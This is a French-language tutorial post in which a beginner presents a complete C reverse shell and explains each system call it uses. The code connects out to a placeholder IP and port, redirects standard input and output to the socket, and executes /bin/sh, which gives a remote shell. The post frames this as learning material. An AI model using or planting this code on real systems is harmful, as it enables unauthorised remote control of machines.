Version française
Une version anglaise de cet article a été publié sur mon github, ayant été appréçié j’ai décidé de poster la version française ici ٩(^ᗜ^ )و ´-
Reverse Shell en C utilisant socket()
Script
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#define IP "your ip"
#define PORT yourport
int main()
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, IP, &(server_addr.sin_addr));
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", 0, 0);
close(sockfd);
return 0;
}
Petit disclaimer
Je suis débutante en C, et je partage mon apprentissage.
S’il y a des erreurs soyez indulgent et n’hésitez pas à me corriger pour m’aider à acquérir de nouvelles connaissances.
(projet à titre informatif évidemment)
socket()
est un syscall dépendant de la lib <sys/socket.h>
, pour comprendre son fonctionnement nous devons comprendre les struct
qui le compose.
struct sockaddr_in
struct sockaddr_in server_addr;
Définir la variable server_addr
de type struct sockaddr_in
sert à représenter l’adresse du serveur.
Un espace en mémoire est créé pour stocker cette structure. Ses champs peuvent ensuite être remplis avec les informations d’adresse spécifiques au serveur:
struct sockaddr_in {
uint8_t sin_len; // longueur totale
sa_family_t sin_family; // famille : AF_INET
in_port_t sin_port; // le numéro de port
struct in_addr sin_addr; // l'adresse internet
unsigned char sin_zero[8]; // un champ de 8 zéros
Voici toutes les variables définies à l’interieur de la struct sockaddr_in
, nous n’utilisons que sin_family
, sin_port
et sin_addr
.
Nous donnons en paramètre AF_INET
pour la première variable, de façon à désigner le type d’adresse avec lesquelles le socket communiquera (IPv4
).
La variable sin_port
prend en paramètre le port, qui est lui même passé dans la fonction htons()
(host to network short), qui convertit un nombre court d’entier non signé de l’ordre d’octet de l’hôte vers l’ordre d’octet du réseau (big-endian).
inet_pton()
inet_pton(AF_INET, IP, &(server_addr.sin_addr));
inet_pton()
est utilisée pour convertir une adresse IPv4 ou IPv6 (de base string) en une représentation binaire utilisée par les sockets. Elle prend en paramètre lAF
(Address Family), convertit l'IP
actuellement en type string et la stock dans la variable sin_addr_
de la struct server_addr
.
connect()
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
connect()
établie une connexion entre le socket client (sockfd
) et le socket serveur (server_addr
).
(struct sockaddr *)&server_addr
convertit le pointeur server_addr
en un pointeur de type struct sockaddr *
, on apprend grâce au prototype de la fonction donné dans son man que cette fonction attend que le deuxième argument soit un pointeur vers struct sockaddr
.
sizeof(server_addr)
, spécifie la taille de la struct server_addr
en octets pour permettre à connect()
d’avoir connaissance de sa taille effectuer la connexion.
dup2()
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
dup2()
duplique un descripteur de fichier existant vers un autre descripteur de fichier. Elle prend en arguments le descripteur de fichier mère et le descripteur de fichier fille.
stdin
(0), stdout
(1) et stderr
(2) sont redirigés vers le descripteur de fichier de sockfd
.
En gros, toutes les entrées récupérées à partir de stdin
seront lues à partir du socket
, et toutes les sorties écrites vers stdout
et stderr
seront envoyées au serveur via la connexion réseau.
execve()
execve("/bin/sh", 0, 0);
execve()
est un syscall permettant d’exécuter un nouveau programme à partir d’un fichier exécutable spécifié (ici /bin/sh
).
Depuis son man, on apprend qu'execve
prend en deuxième argument un char pointant vers un tableau d’argument, et en troisième un char pointant vers l’environnement dans lequel le programme à exécuter est lancé. N’utilisant pas ces paramètres, nous les définissons à 0
.
close()
close(sockfd);
close()
ferme un file descriptor. Ici nous l’appelons pour libérer l’espace et stopper la connexion réseau.
Références
https://broux.developpez.com/articles/c/sockets/ https://man.archlinux.org/man/ https://man7.org/linux/man-pages/